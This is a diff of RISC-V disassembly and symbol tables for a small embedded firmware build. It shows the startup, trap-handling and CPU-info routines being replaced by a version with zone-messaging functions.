+2040383c g     F .text	00000148 __sflush_r
+20402c22 g     F .text	00000278 _svfiprintf_r
 8000d800 g       .data	00000000 _data
-20404cf6 g     F .text	0000005a __swhatbuf_r
+8000d864 g     O .sdata	00000004 admin_name
+20401d84 g     F .text	0000008c serializeZoneMessage
+20403a16 g     F .text	0000005a __swhatbuf_r
 8000d800 g       .data	00000000 __DATA_BEGIN__
-20402bc0 g     F .text	00000054 _write
-8000d880 g       .sdata	00000000 _edata
-8000e380 g       .heap	00000000 _end
-20405fe0 g       .data	00000000 _data_lma
-20404882 g     F .text	00000050 __swrite
+20402046 g     F .text	00000252 sendZoneMessage
+20402338 g     F .text	00000052 _write
+8000d878 g       .sdata	00000000 _edata
+8000e1e0 g       .heap	00000000 _end
+20404520 g       .data	00000000 _data_lma
+20401e64 g     F .text	000000ac receiveZoneMessageLoop
+204035a2 g     F .text	00000050 __swrite
 20401870 g     F .text	0000002c exit
-2040453a g     F .text	00000298 _vfiprintf_r
-20403c04 g     F .text	0000006a _fwalk_reent
-20405f2c g     O .rodata	00000020 __sf_fake_stdout
-2040340a g     F .text	00000044 siprintf
-20405de8 g     O .rodata	00000101 _ctype_
-20402b84 g     F .text	0000003c _read
-20405216 g     F .text	00000002 _exit
-20404d50 g     F .text	0000009e __smakebuf_r
-20403478 g     F .text	00000012 strlen
-2040425e g     F .text	00000272 _printf_i
-2040389c g     F .text	00000028 open
-8000d890 g     O .bss	00000004 __malloc_sbrk_start
-20402f9e g     F .text	0000000a abs
-2040490e g     F .text	0000001a strchr
-8000d88c g     O .bss	00000004 __malloc_free_list
-2040453a g     F .text	00000298 _vfprintf_r
-20402b1c g     F .text	00000004 _close
+20403282 g     F .text	00000298 _vfiprintf_r
+20402ac8 g     F .text	0000006a _fwalk_reent
+2040446c g     O .rodata	00000020 __sf_fake_stdout
+204022fe g     F .text	0000003a _read
+20403bf2 g     F .text	00000002 _exit
+20403a70 g     F .text	0000009e __smakebuf_r
+204026d8 g     F .text	00000012 strlen
+20402fa6 g     F .text	00000272 _printf_i
+20402764 g     F .text	00000028 open
+8000d87c g     O .bss	00000004 __malloc_sbrk_start
+2040362e g     F .text	0000001a strchr
+8000d878 g     O .bss	00000004 __malloc_free_list
+20403282 g     F .text	00000298 _vfprintf_r
+20402298 g     F .text	00000004 _close
+20402430 g     F .text	00000008 free
 
 
 
@@ -267,29 +240,29 @@ Disassembly of section .init:
 
 20401800 <_start>:
 20401800:	5fc0d197          	auipc	gp,0x5fc0d
-20401804:	87018193          	addi	gp,gp,-1936 # 8000e070 <__global_pointer$>
-20401808:	31018113          	addi	sp,gp,784 # 8000e380 <_end>
-2040180c:	00004517          	auipc	a0,0x4
-20401810:	7d450513          	addi	a0,a0,2004 # 20405fe0 <_data_lma>
+20401804:	86018193          	addi	gp,gp,-1952 # 8000e060 <__global_pointer$>
+20401808:	18018113          	addi	sp,gp,384 # 8000e1e0 <_end>
+2040180c:	00003517          	auipc	a0,0x3
+20401810:	d1450513          	addi	a0,a0,-748 # 20404520 <_data_lma>
 20401814:	5fc0c597          	auipc	a1,0x5fc0c
-20401818:	fec58593          	addi	a1,a1,-20 # 8000d800 <p.5>
-2040181c:	81018613          	addi	a2,gp,-2032 # 8000d880 <esc.3>
+20401818:	fec58593          	addi	a1,a1,-20 # 8000d800 <impure_data>
+2040181c:	81818613          	addi	a2,gp,-2024 # 8000d878 <__malloc_free_list>
 20401820:	00c5fa63          	bgeu	a1,a2,20401834 <_start+0x34>
 20401824:	00052283          	lw	t0,0(a0)
 20401828:	0055a023          	sw	t0,0(a1)
 2040182c:	0511                	addi	a0,a0,4
 2040182e:	0591                	addi	a1,a1,4
 20401830:	fec5eae3          	bltu	a1,a2,20401824 <_start+0x24>
-20401834:	81018513          	addi	a0,gp,-2032 # 8000d880 <esc.3>
-20401838:	b0818593          	addi	a1,gp,-1272 # 8000db78 <__BSS_END__>
+20401834:	81818513          	addi	a0,gp,-2024 # 8000d878 <__malloc_free_list>
+20401838:	98018593          	addi	a1,gp,-1664 # 8000d9e0 <__BSS_END__>
 2040183c:	00b57763          	bgeu	a0,a1,2040184a <_start+0x4a>
 20401840:	00052023          	sw	zero,0(a0)
 20401844:	0511                	addi	a0,a0,4
 20401846:	feb56de3          	bltu	a0,a1,20401840 <_start+0x40>
 2040184a:	00001517          	auipc	a0,0x1
-2040184e:	76a50513          	addi	a0,a0,1898 # 20402fb4 <__libc_fini_array>
-20401852:	756010ef          	jal	ra,20402fa8 <atexit>
-20401856:	794010ef          	jal	ra,20402fea <__libc_init_array>
+2040184e:	b4a50513          	addi	a0,a0,-1206 # 20402394 <__libc_fini_array>
+20401852:	339000ef          	jal	ra,2040238a <atexit>
+20401856:	375000ef          	jal	ra,204023ca <__libc_init_array>
 2040185a:	00000097          	auipc	ra,0x0
 2040185e:	1141                	addi	sp,sp,-16
 20401860:	c406                	sw	ra,8(sp)
@@ -311,7027 +284,4677 @@ Disassembly of section .text:
 20401870:	1141                	addi	sp,sp,-16
 20401872:	c422                	sw	s0,8(sp)
 20401874:	c606                	sw	ra,12(sp)
-20401876:	00002797          	auipc	a5,0x2
-2040187a:	10878793          	addi	a5,a5,264 # 2040397e <__call_exitprocs>
+20401876:	00001797          	auipc	a5,0x1
+2040187a:	fce78793          	addi	a5,a5,-50 # 20402844 <__call_exitprocs>
 2040187e:	842a                	mv	s0,a0
 20401880:	c781                	beqz	a5,20401888 <exit+0x18>
 20401882:	4581                	li	a1,0
-20401884:	0fa020ef          	jal	ra,2040397e <__call_exitprocs>
+20401884:	7c1000ef          	jal	ra,20402844 <__call_exitprocs>
 20401888:	5fc0c517          	auipc	a0,0x5fc0c
-2040188c:	fe852503          	lw	a0,-24(a0) # 8000d870 <_global_impure_ptr>
+2040188c:	fd852503          	lw	a0,-40(a0) # 8000d860 <_global_impure_ptr>
 20401890:	551c                	lw	a5,40(a0)
 20401892:	c391                	beqz	a5,20401896 <exit+0x26>
 20401894:	9782                	jalr	a5
 20401896:	8522                	mv	a0,s0
-20401898:	17f030ef          	jal	ra,20405216 <_exit>
+20401898:	35a020ef          	jal	ra,20403bf2 <_exit>
 
 2040189c <main>:
-2040189c:	1141                	addi	sp,sp,-16
-2040189e:	c606                	sw	ra,12(sp)
-204018a0:	c422                	sw	s0,8(sp)
-204018a2:	c226                	sw	s1,4(sp)
-204018a4:	00000797          	auipc	a5,0x0
-204018a8:	11a78793          	addi	a5,a5,282 # 204019be <trap_handler>
-204018ac:	30579073          	csrw	mtvec,a5
-204018b0:	6785                	lui	a5,0x1
-204018b2:	80878793          	addi	a5,a5,-2040 # 808 <__stack_size+0x8>
-204018b6:	3047a7f3          	csrrs	a5,mie,a5
-204018ba:	300467f3          	csrrsi	a5,mstatus,8
-204018be:	0c0007b7          	lui	a5,0xc000
-204018c2:	4709                	li	a4,2
-204018c4:	c7d8                	sw	a4,12(a5)
-204018c6:	0c002737          	lui	a4,0xc002
-204018ca:	431c                	lw	a5,0(a4)
-204018cc:	4601                	li	a2,0
-204018ce:	4581                	li	a1,0
-204018d0:	0087e793          	ori	a5,a5,8
-204018d4:	c31c                	sw	a5,0(a4)
-204018d6:	00004517          	auipc	a0,0x4
-204018da:	17e50513          	addi	a0,a0,382 # 20405a54 <_exit+0x83e>
-204018de:	7bf010ef          	jal	ra,2040389c <open>
-204018e2:	00004517          	auipc	a0,0x4
-204018e6:	17a50513          	addi	a0,a0,378 # 20405a5c <_exit+0x846>
-204018ea:	7aa010ef          	jal	ra,20403094 <iprintf>
-204018ee:	00004517          	auipc	a0,0x4
-204018f2:	17650513          	addi	a0,a0,374 # 20405a64 <_exit+0x84e>
-204018f6:	79e010ef          	jal	ra,20403094 <iprintf>
-204018fa:	00004517          	auipc	a0,0x4
-204018fe:	1b250513          	addi	a0,a0,434 # 20405aac <_exit+0x896>
-20401902:	792010ef          	jal	ra,20403094 <iprintf>
-20401906:	00004517          	auipc	a0,0x4
-2040190a:	1ee50513          	addi	a0,a0,494 # 20405af4 <_exit+0x8de>
-2040190e:	786010ef          	jal	ra,20403094 <iprintf>
-20401912:	00004517          	auipc	a0,0x4
-20401916:	15250513          	addi	a0,a0,338 # 20405a64 <_exit+0x84e>
-2040191a:	77a010ef          	jal	ra,20403094 <iprintf>
-2040191e:	00004517          	auipc	a0,0x4
-20401922:	21e50513          	addi	a0,a0,542 # 20405b3c <_exit+0x926>
-20401926:	76e010ef          	jal	ra,20403094 <iprintf>
-2040192a:	00004517          	auipc	a0,0x4
-2040192e:	25a50513          	addi	a0,a0,602 # 20405b84 <_exit+0x96e>
-20401932:	762010ef          	jal	ra,20403094 <iprintf>
-20401936:	00004517          	auipc	a0,0x4
-2040193a:	29650513          	addi	a0,a0,662 # 20405bcc <_exit+0x9b6>
-2040193e:	756010ef          	jal	ra,20403094 <iprintf>
-20401942:	00004517          	auipc	a0,0x4
-20401946:	2d250513          	addi	a0,a0,722 # 20405c14 <_exit+0x9fe>
-2040194a:	74a010ef          	jal	ra,20403094 <iprintf>
-2040194e:	00004517          	auipc	a0,0x4
-20401952:	30e50513          	addi	a0,a0,782 # 20405c5c <_exit+0xa46>
-20401956:	73e010ef          	jal	ra,20403094 <iprintf>
-2040195a:	00004517          	auipc	a0,0x4
-2040195e:	10a50513          	addi	a0,a0,266 # 20405a64 <_exit+0x84e>
-20401962:	732010ef          	jal	ra,20403094 <iprintf>
-20401966:	2615                	jal	20401c8a <print_cpu_info>
-20401968:	461d                	li	a2,7
-2040196a:	00004597          	auipc	a1,0x4
-2040196e:	33a58593          	addi	a1,a1,826 # 20405ca4 <_exit+0xa8e>
-20401972:	4505                	li	a0,1
-20401974:	75f010ef          	jal	ra,204038d2 <write>
-20401978:	00004497          	auipc	s1,0x4
-2040197c:	32c48493          	addi	s1,s1,812 # 20405ca4 <_exit+0xa8e>
-20401980:	82818413          	addi	s0,gp,-2008 # 8000d898 <buffer>
-20401984:	575000ef          	jal	ra,204026f8 <readline>
-20401988:	c911                	beqz	a0,2040199c <main+0x100>
-2040198a:	163000ef          	jal	ra,204022ec <cmd_handler>
-2040198e:	461d                	li	a2,7
-20401990:	85a6                	mv	a1,s1
-20401992:	4505                	li	a0,1
-20401994:	73f010ef          	jal	ra,204038d2 <write>
-20401998:	94018c23          	sb	zero,-1704(gp) # 8000d9c8 <inputline>
-2040199c:	02d000ef          	jal	ra,204021c8 <msg_handler>
-204019a0:	505c                	lw	a5,36(s0)
-204019a2:	f3ed                	bnez	a5,20401984 <main+0xe8>
-204019a4:	4505                	li	a0,1
-204019a6:	00300073          	0x300073
-204019aa:	bfe9                	j	20401984 <main+0xe8>
-
-204019ac <cmpfunc>:
-204019ac:	4108                	lw	a0,0(a0)
-204019ae:	419c                	lw	a5,0(a1)
-204019b0:	00f54563          	blt	a0,a5,204019ba <cmpfunc+0xe>
-204019b4:	00a7a533          	slt	a0,a5,a0
-204019b8:	8082                	ret
-204019ba:	557d                	li	a0,-1
-204019bc:	8082                	ret
-
-204019be <trap_handler>:
-204019be:	7159                	addi	sp,sp,-112
-204019c0:	caaa                	sw	a0,84(sp)
-204019c2:	d686                	sw	ra,108(sp)
-204019c4:	d496                	sw	t0,104(sp)
-204019c6:	d29a                	sw	t1,100(sp)
-204019c8:	d09e                	sw	t2,96(sp)
-204019ca:	cea2                	sw	s0,92(sp)
-204019cc:	cca6                	sw	s1,88(sp)
-204019ce:	c8ae                	sw	a1,80(sp)
-204019d0:	c6b2                	sw	a2,76(sp)
-204019d2:	c4b6                	sw	a3,72(sp)
-204019d4:	c2ba                	sw	a4,68(sp)
-204019d6:	c0be                	sw	a5,64(sp)
-204019d8:	de42                	sw	a6,60(sp)
-204019da:	dc46                	sw	a7,56(sp)
-204019dc:	da4a                	sw	s2,52(sp)
-204019de:	d872                	sw	t3,48(sp)
-204019e0:	d676                	sw	t4,44(sp)
-204019e2:	d47a                	sw	t5,40(sp)
-204019e4:	d27e                	sw	t6,36(sp)
-204019e6:	4515                	li	a0,5
-204019e8:	85aa                	mv	a1,a0
-204019ea:	4521                	li	a0,8
-204019ec:	00300073          	0x300073
-204019f0:	84aa                	mv	s1,a0
-204019f2:	4511                	li	a0,4
-204019f4:	85aa                	mv	a1,a0
-204019f6:	4521                	li	a0,8
-204019f8:	00300073          	0x300073
-204019fc:	842a                	mv	s0,a0
-204019fe:	4519                	li	a0,6
-20401a00:	85aa                	mv	a1,a0
-20401a02:	4521                	li	a0,8
-20401a04:	00300073          	0x300073
-20401a08:	47ad                	li	a5,11
-20401a0a:	86aa                	mv	a3,a0
-20401a0c:	0097ec63          	bltu	a5,s1,20401a24 <trap_handler+0x66>
-20401a10:	00004617          	auipc	a2,0x4
-20401a14:	b2860613          	addi	a2,a2,-1240 # 20405538 <_exit+0x322>
-20401a18:	00249713          	slli	a4,s1,0x2
-20401a1c:	9732                	add	a4,a4,a2
-20401a1e:	431c                	lw	a5,0(a4)
-20401a20:	97b2                	add	a5,a5,a2
-20401a22:	8782                	jr	a5
-20401a24:	800007b7          	lui	a5,0x80000
-20401a28:	00778713          	addi	a4,a5,7 # 80000007 <_heap_end+0xffff1807>
-20401a2c:	1ae48263          	beq	s1,a4,20401bd0 <trap_handler+0x212>
-20401a30:	00b78713          	addi	a4,a5,11
-20401a34:	20e48563          	beq	s1,a4,20401c3e <trap_handler+0x280>
-20401a38:	078d                	addi	a5,a5,3
-20401a3a:	12f48563          	beq	s1,a5,20401b64 <trap_handler+0x1a6>
-20401a3e:	8622                	mv	a2,s0
-20401a40:	85a6                	mv	a1,s1
-20401a42:	00004517          	auipc	a0,0x4
-20401a46:	ab650513          	addi	a0,a0,-1354 # 204054f8 <_exit+0x2e2>
-20401a4a:	a039                	j	20401a58 <trap_handler+0x9a>
-20401a4c:	8622                	mv	a2,s0
-20401a4e:	4581                	li	a1,0
-20401a50:	00003517          	auipc	a0,0x3
-20401a54:	7c850513          	addi	a0,a0,1992 # 20405218 <_exit+0x2>
-20401a58:	63c010ef          	jal	ra,20403094 <iprintf>
-20401a5c:	00004517          	auipc	a0,0x4
-20401a60:	ac050513          	addi	a0,a0,-1344 # 2040551c <_exit+0x306>
-20401a64:	630010ef          	jal	ra,20403094 <iprintf>
-20401a68:	00010c23          	sb	zero,24(sp)
-20401a6c:	4605                	li	a2,1
-20401a6e:	082c                	addi	a1,sp,24
-20401a70:	4501                	li	a0,0
-20401a72:	653010ef          	jal	ra,204038c4 <read>
-20401a76:	d97d                	beqz	a0,20401a6c <trap_handler+0xae>
-20401a78:	d89ff06f          	j	20401800 <_start>
-20401a7c:	a0b1                	j	20401ac8 <trap_handler+0x10a>
-20401a7e:	8622                	mv	a2,s0
-20401a80:	4585                	li	a1,1
-20401a82:	00003517          	auipc	a0,0x3
-20401a86:	7d250513          	addi	a0,a0,2002 # 20405254 <_exit+0x3e>
-20401a8a:	b7f9                	j	20401a58 <trap_handler+0x9a>
-20401a8c:	8622                	mv	a2,s0
-20401a8e:	4589                	li	a1,2
-20401a90:	00003517          	auipc	a0,0x3
-20401a94:	7f850513          	addi	a0,a0,2040 # 20405288 <_exit+0x72>
-20401a98:	b7c1                	j	20401a58 <trap_handler+0x9a>
-20401a9a:	8622                	mv	a2,s0
-20401a9c:	458d                	li	a1,3
-20401a9e:	00004517          	auipc	a0,0x4
-20401aa2:	81a50513          	addi	a0,a0,-2022 # 204052b8 <_exit+0xa2>
-20401aa6:	bf4d                	j	20401a58 <trap_handler+0x9a>
-20401aa8:	8622                	mv	a2,s0
-20401aaa:	4591                	li	a1,4
-20401aac:	00004517          	auipc	a0,0x4
-20401ab0:	83050513          	addi	a0,a0,-2000 # 204052dc <_exit+0xc6>
-20401ab4:	5e0010ef          	jal	ra,20403094 <iprintf>
-20401ab8:	00044783          	lbu	a5,0(s0)
-20401abc:	8b85                	andi	a5,a5,1
-20401abe:	e391                	bnez	a5,20401ac2 <trap_handler+0x104>
-20401ac0:	4489                	li	s1,2
-20401ac2:	9426                	add	s0,s0,s1
-20401ac4:	34141073          	csrw	mepc,s0
-20401ac8:	4476                	lw	s0,92(sp)
-20401aca:	50b6                	lw	ra,108(sp)
-20401acc:	52a6                	lw	t0,104(sp)
-20401ace:	5316                	lw	t1,100(sp)
-20401ad0:	5386                	lw	t2,96(sp)
-20401ad2:	44e6                	lw	s1,88(sp)
-20401ad4:	4556                	lw	a0,84(sp)
-20401ad6:	45c6                	lw	a1,80(sp)
-20401ad8:	4636                	lw	a2,76(sp)
-20401ada:	46a6                	lw	a3,72(sp)
-20401adc:	4716                	lw	a4,68(sp)
-20401ade:	4786                	lw	a5,64(sp)
-20401ae0:	5872                	lw	a6,60(sp)
-20401ae2:	58e2                	lw	a7,56(sp)
-20401ae4:	5952                	lw	s2,52(sp)
-20401ae6:	5e42                	lw	t3,48(sp)
-20401ae8:	5eb2                	lw	t4,44(sp)
-20401aea:	5f22                	lw	t5,40(sp)
-20401aec:	5f92                	lw	t6,36(sp)
-20401aee:	6165                	addi	sp,sp,112
-20401af0:	30200073          	mret
-20401af4:	8622                	mv	a2,s0
-20401af6:	4595                	li	a1,5
-20401af8:	00004517          	auipc	a0,0x4
-20401afc:	81850513          	addi	a0,a0,-2024 # 20405310 <_exit+0xfa>
-20401b00:	594010ef          	jal	ra,20403094 <iprintf>
-20401b04:	0411                	addi	s0,s0,4
-20401b06:	bf7d                	j	20401ac4 <trap_handler+0x106>
-20401b08:	8622                	mv	a2,s0
-20401b0a:	4599                	li	a1,6
-20401b0c:	00004517          	auipc	a0,0x4
-20401b10:	83050513          	addi	a0,a0,-2000 # 2040533c <_exit+0x126>
-20401b14:	580010ef          	jal	ra,20403094 <iprintf>
-20401b18:	00044783          	lbu	a5,0(s0)
-20401b1c:	4511                	li	a0,4
-20401b1e:	8b85                	andi	a5,a5,1
-20401b20:	e391                	bnez	a5,20401b24 <trap_handler+0x166>
-20401b22:	4509                	li	a0,2
-20401b24:	9522                	add	a0,a0,s0
-20401b26:	34151073          	csrw	mepc,a0
-20401b2a:	bf79                	j	20401ac8 <trap_handler+0x10a>
-20401b2c:	8622                	mv	a2,s0
-20401b2e:	459d                	li	a1,7
-20401b30:	00004517          	auipc	a0,0x4
-20401b34:	84450513          	addi	a0,a0,-1980 # 20405374 <_exit+0x15e>
-20401b38:	bff1                	j	20401b14 <trap_handler+0x156>
-20401b3a:	8622                	mv	a2,s0
-20401b3c:	45a1                	li	a1,8
-20401b3e:	00004517          	auipc	a0,0x4
-20401b42:	86250513          	addi	a0,a0,-1950 # 204053a0 <_exit+0x18a>
-20401b46:	bf09                	j	20401a58 <trap_handler+0x9a>
-20401b48:	8622                	mv	a2,s0
-20401b4a:	45a5                	li	a1,9
-20401b4c:	00004517          	auipc	a0,0x4
-20401b50:	88c50513          	addi	a0,a0,-1908 # 204053d8 <_exit+0x1c2>
-20401b54:	b711                	j	20401a58 <trap_handler+0x9a>
-20401b56:	8622                	mv	a2,s0
-20401b58:	45ad                	li	a1,11
-20401b5a:	00004517          	auipc	a0,0x4
-20401b5e:	8b650513          	addi	a0,a0,-1866 # 20405410 <_exit+0x1fa>
-20401b62:	bddd                	j	20401a58 <trap_handler+0x9a>
-20401b64:	c62a                	sw	a0,12(sp)
-20401b66:	4619                	li	a2,6
-20401b68:	00004597          	auipc	a1,0x4
-20401b6c:	8e058593          	addi	a1,a1,-1824 # 20405448 <_exit+0x232>
-20401b70:	4505                	li	a0,1
-20401b72:	561010ef          	jal	ra,204038d2 <write>
-20401b76:	46b2                	lw	a3,12(sp)
-20401b78:	8622                	mv	a2,s0
-20401b7a:	85a6                	mv	a1,s1
-20401b7c:	00004517          	auipc	a0,0x4
-20401b80:	8d450513          	addi	a0,a0,-1836 # 20405450 <_exit+0x23a>
-20401b84:	510010ef          	jal	ra,20403094 <iprintf>
-20401b88:	10040437          	lui	s0,0x10040
-20401b8c:	442c                	lw	a1,72(s0)
-20401b8e:	00004517          	auipc	a0,0x4
-20401b92:	8de50513          	addi	a0,a0,-1826 # 2040546c <_exit+0x256>
-20401b96:	4fe010ef          	jal	ra,20403094 <iprintf>
-20401b9a:	446c                	lw	a1,76(s0)
-20401b9c:	00004517          	auipc	a0,0x4
-20401ba0:	8e450513          	addi	a0,a0,-1820 # 20405480 <_exit+0x26a>
-20401ba4:	4f0010ef          	jal	ra,20403094 <iprintf>
-20401ba8:	482c                	lw	a1,80(s0)
-20401baa:	00004517          	auipc	a0,0x4
-20401bae:	8ea50513          	addi	a0,a0,-1814 # 20405494 <_exit+0x27e>
-20401bb2:	4e2010ef          	jal	ra,20403094 <iprintf>
-20401bb6:	4619                	li	a2,6
-20401bb8:	00004597          	auipc	a1,0x4
-20401bbc:	8f058593          	addi	a1,a1,-1808 # 204054a8 <_exit+0x292>
-20401bc0:	4505                	li	a0,1
-20401bc2:	511010ef          	jal	ra,204038d2 <write>
-20401bc6:	67c1                	lui	a5,0x10
-20401bc8:	10178793          	addi	a5,a5,257 # 10101 <__stack_size+0xf901>
-20401bcc:	d81c                	sw	a5,48(s0)
-20401bce:	bded                	j	20401ac8 <trap_handler+0x10a>
-20401bd0:	c62a                	sw	a0,12(sp)
-20401bd2:	4619                	li	a2,6
-20401bd4:	00004597          	auipc	a1,0x4
-20401bd8:	87458593          	addi	a1,a1,-1932 # 20405448 <_exit+0x232>
-20401bdc:	4505                	li	a0,1
-20401bde:	4f5010ef          	jal	ra,204038d2 <write>
-20401be2:	46b2                	lw	a3,12(sp)
-20401be4:	8622                	mv	a2,s0
-20401be6:	85a6                	mv	a1,s1
-20401be8:	00004517          	auipc	a0,0x4
-20401bec:	8c850513          	addi	a0,a0,-1848 # 204054b0 <_exit+0x29a>
-20401bf0:	4a4010ef          	jal	ra,20403094 <iprintf>
-20401bf4:	4619                	li	a2,6
-20401bf6:	00004597          	auipc	a1,0x4
-20401bfa:	8ee58593          	addi	a1,a1,-1810 # 204054e4 <_exit+0x2ce>
-20401bfe:	4505                	li	a0,1
-20401c00:	4d3010ef          	jal	ra,204038d2 <write>
-20401c04:	95818513          	addi	a0,gp,-1704 # 8000d9c8 <inputline>
-20401c08:	071010ef          	jal	ra,20403478 <strlen>
-20401c0c:	862a                	mv	a2,a0
-20401c0e:	95818593          	addi	a1,gp,-1704 # 8000d9c8 <inputline>
-20401c12:	4505                	li	a0,1
-20401c14:	4bf010ef          	jal	ra,204038d2 <write>
-20401c18:	4619                	li	a2,6
-20401c1a:	00004597          	auipc	a1,0x4
-20401c1e:	8d658593          	addi	a1,a1,-1834 # 204054f0 <_exit+0x2da>
-20401c22:	4505                	li	a0,1
-20401c24:	4af010ef          	jal	ra,204038d2 <write>
-20401c28:	57fd                	li	a5,-1
-20401c2a:	85be                	mv	a1,a5
-20401c2c:	863e                	mv	a2,a5
-20401c2e:	4519                	li	a0,6
-20401c30:	00300073          	0x300073
-20401c34:	08000793          	li	a5,128
-20401c38:	3047b7f3          	csrrc	a5,mie,a5
-20401c3c:	b571                	j	20401ac8 <trap_handler+0x10a>
-20401c3e:	0c2007b7          	lui	a5,0xc200
-20401c42:	4621                	li	a2,8
-20401c44:	082c                	addi	a1,sp,24
-20401c46:	4501                	li	a0,0
-20401c48:	0047a903          	lw	s2,4(a5) # c200004 <__stack_size+0xc1ff804>
-20401c4c:	479010ef          	jal	ra,204038c4 <read>
-20401c50:	842a                	mv	s0,a0
-20401c52:	02a05763          	blez	a0,20401c80 <trap_handler+0x2c2>
-20401c56:	82818493          	addi	s1,gp,-2008 # 8000d898 <buffer>
-20401c5a:	50dc                	lw	a5,36(s1)
-20401c5c:	02000713          	li	a4,32
-20401c60:	40f707b3          	sub	a5,a4,a5
-20401c64:	00f54563          	blt	a0,a5,20401c6e <trap_handler+0x2b0>
-20401c68:	50c0                	lw	s0,36(s1)
-20401c6a:	40870433          	sub	s0,a4,s0
-20401c6e:	50c8                	lw	a0,36(s1)
-20401c70:	8622                	mv	a2,s0
-20401c72:	082c                	addi	a1,sp,24
-20401c74:	9526                	add	a0,a0,s1
-20401c76:	3d2010ef          	jal	ra,20403048 <memcpy>
-20401c7a:	50c8                	lw	a0,36(s1)
-20401c7c:	9522                	add	a0,a0,s0
-20401c7e:	d0c8                	sw	a0,36(s1)
-20401c80:	0c2007b7          	lui	a5,0xc200
-20401c84:	0127a223          	sw	s2,4(a5) # c200004 <__stack_size+0xc1ff804>
-20401c88:	b581                	j	20401ac8 <trap_handler+0x10a>
-
-20401c8a <print_cpu_info>:
-20401c8a:	7179                	addi	sp,sp,-48
-20401c8c:	d606                	sw	ra,44(sp)
-20401c8e:	d422                	sw	s0,40(sp)
-20401c90:	d226                	sw	s1,36(sp)
-20401c92:	301024f3          	csrr	s1,misa
-20401c96:	4705                	li	a4,1
-20401c98:	01e4d793          	srli	a5,s1,0x1e
-20401c9c:	02000413          	li	s0,32
-20401ca0:	00e78863          	beq	a5,a4,20401cb0 <print_cpu_info+0x26>
-20401ca4:	4709                	li	a4,2
-20401ca6:	04000413          	li	s0,64
-20401caa:	00e78363          	beq	a5,a4,20401cb0 <print_cpu_info+0x26>
-20401cae:	4401                	li	s0,0
-20401cb0:	465d                	li	a2,23
-20401cb2:	4581                	li	a1,0
-20401cb4:	0028                	addi	a0,sp,8
-20401cb6:	c202                	sw	zero,4(sp)
-20401cb8:	3cc010ef          	jal	ra,20403084 <memset>
-20401cbc:	4701                	li	a4,0
-20401cbe:	4781                	li	a5,0
-20401cc0:	4669                	li	a2,26
-20401cc2:	00f4d6b3          	srl	a3,s1,a5
-20401cc6:	8a85                	andi	a3,a3,1
-20401cc8:	ce91                	beqz	a3,20401ce4 <print_cpu_info+0x5a>
-20401cca:	100c                	addi	a1,sp,32
-20401ccc:	00170693          	addi	a3,a4,1 # c002001 <__stack_size+0xc001801>
-20401cd0:	972e                	add	a4,a4,a1
-20401cd2:	04178593          	addi	a1,a5,65
-20401cd6:	feb70223          	sb	a1,-28(a4)
-20401cda:	1018                	addi	a4,sp,32
-20401cdc:	9736                	add	a4,a4,a3
-20401cde:	fe070223          	sb	zero,-28(a4)
-20401ce2:	8736                	mv	a4,a3
-20401ce4:	0785                	addi	a5,a5,1
-20401ce6:	fcc79ee3          	bne	a5,a2,20401cc2 <print_cpu_info+0x38>
-20401cea:	0054                	addi	a3,sp,4
-20401cec:	8622                	mv	a2,s0
-20401cee:	85a6                	mv	a1,s1
-20401cf0:	00004517          	auipc	a0,0x4
-20401cf4:	87850513          	addi	a0,a0,-1928 # 20405568 <_exit+0x352>
-20401cf8:	39c010ef          	jal	ra,20403094 <iprintf>
-20401cfc:	f1102473          	csrr	s0,mvendorid
-20401d00:	10e327b7          	lui	a5,0x10e32
-20401d04:	91378793          	addi	a5,a5,-1773 # 10e31913 <__stack_size+0x10e31113>
-20401d08:	00004617          	auipc	a2,0x4
-20401d0c:	fa460613          	addi	a2,a2,-92 # 20405cac <_exit+0xa96>
-20401d10:	02f40263          	beq	s0,a5,20401d34 <print_cpu_info+0xaa>
-20401d14:	48900793          	li	a5,1161
-20401d18:	00f40e63          	beq	s0,a5,20401d34 <print_cpu_info+0xaa>
-20401d1c:	57c00793          	li	a5,1404
-20401d20:	00004617          	auipc	a2,0x4
-20401d24:	f9c60613          	addi	a2,a2,-100 # 20405cbc <_exit+0xaa6>
-20401d28:	00f40663          	beq	s0,a5,20401d34 <print_cpu_info+0xaa>
-20401d2c:	00004617          	auipc	a2,0x4
-20401d30:	fa060613          	addi	a2,a2,-96 # 20405ccc <_exit+0xab6>
-20401d34:	85a2                	mv	a1,s0
-20401d36:	00004517          	auipc	a0,0x4
-20401d3a:	85650513          	addi	a0,a0,-1962 # 2040558c <_exit+0x376>
-20401d3e:	356010ef          	jal	ra,20403094 <iprintf>
-20401d42:	f12025f3          	csrr	a1,marchid
-20401d46:	48900793          	li	a5,1161
-20401d4a:	02f41963          	bne	s0,a5,20401d7c <print_cpu_info+0xf2>
-20401d4e:	401017b7          	lui	a5,0x40101
-20401d52:	10578793          	addi	a5,a5,261 # 40101105 <_data_lma+0x1fcfb125>
-20401d56:	00004617          	auipc	a2,0x4
-20401d5a:	f7660613          	addi	a2,a2,-138 # 20405ccc <_exit+0xab6>
-20401d5e:	04f49963          	bne	s1,a5,20401db0 <print_cpu_info+0x126>
-20401d62:	800007b7          	lui	a5,0x80000
-20401d66:	0789                	addi	a5,a5,2
-20401d68:	04f58063          	beq	a1,a5,20401da8 <print_cpu_info+0x11e>
-20401d6c:	4785                	li	a5,1
-20401d6e:	04f59163          	bne	a1,a5,20401db0 <print_cpu_info+0x126>
-20401d72:	00004617          	auipc	a2,0x4
-20401d76:	f6660613          	addi	a2,a2,-154 # 20405cd8 <_exit+0xac2>
-20401d7a:	a81d                	j	20401db0 <print_cpu_info+0x126>
-20401d7c:	57c00793          	li	a5,1404
-20401d80:	00004617          	auipc	a2,0x4
-20401d84:	f4c60613          	addi	a2,a2,-180 # 20405ccc <_exit+0xab6>
-20401d88:	02f41463          	bne	s0,a5,20401db0 <print_cpu_info+0x126>
-20401d8c:	401017b7          	lui	a5,0x40101
-20401d90:	10578793          	addi	a5,a5,261 # 40101105 <_data_lma+0x1fcfb125>
-20401d94:	00f49e63          	bne	s1,a5,20401db0 <print_cpu_info+0x126>
-20401d98:	4785                	li	a5,1
-20401d9a:	00f59b63          	bne	a1,a5,20401db0 <print_cpu_info+0x126>
-20401d9e:	00004617          	auipc	a2,0x4
-20401da2:	f3260613          	addi	a2,a2,-206 # 20405cd0 <_exit+0xaba>
-20401da6:	a029                	j	20401db0 <print_cpu_info+0x126>
-20401da8:	00004617          	auipc	a2,0x4
-20401dac:	f3860613          	addi	a2,a2,-200 # 20405ce0 <_exit+0xaca>
-20401db0:	00003517          	auipc	a0,0x3
-20401db4:	7f850513          	addi	a0,a0,2040 # 204055a8 <_exit+0x392>
